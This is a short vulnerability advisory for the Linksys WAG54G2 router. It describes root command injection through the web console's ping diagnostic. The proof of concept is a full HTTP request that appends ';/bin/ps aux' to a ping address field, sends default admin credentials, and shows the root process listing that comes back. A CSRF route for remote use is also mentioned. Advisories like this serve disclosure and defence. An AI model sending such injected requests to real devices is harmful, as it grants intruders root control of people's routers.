Linksys WAG54G2 Web Management Console Local Arbitrary Shell Command Injection Vulnerability
1. Linksys WAG54G2 router is a popular SOHO class device. It provides ADSL /
WiFi / Ethernet interfaces.
2. When logged into web management console, it is possible to execute commands
as root (tested on firmware: V1.00.10).
3. PoC:
GET
/setup.cgi?ping_ipaddr1=1&ping_ipaddr2=1&ping_ipaddr3=1&ping_ipaddr4=1&ping_size=60&ping_number=1&ping_interval=1000&ping_timeout=5000&start=Start+Test&todo=ping_test&this_file=Diagnostics.htm&next_file=Diagnostics.htm&c4_ping_ipaddr=1.1.1.1;/bin/ps
aux&message= HTTP/1.1
Host: 192.168.1.1
Authorization: Basic YWRtaW46YWRtaW4=
HTTP/1.0 200 OK
sh: cannot create 1: Unknown error 30
killall: pingmultilang: no process killed
killall: 2: no process killed
PID Uid VmSize Stat Command
1 root 284 S init
2 root SWN [ksoftirqd/0]
3 root SW< [events/0]
4 root SW< [khelper]
5 root SW< [kthread]
...
4. Note that it is needed to supply valid user/password (Authorization HTTP
header).
5. One could try to exploit this issue remotely (using CRSF) assuming that a
victim did not change default password to the web management.
6. The vendor (Cisco) was contacted in march '09 and confirmed the issue (but
still it remains unpatched).
7. More detailed information:
http://www.securitum.pl/dh/Linksys_WAG54G2_-_escape_to_OS_root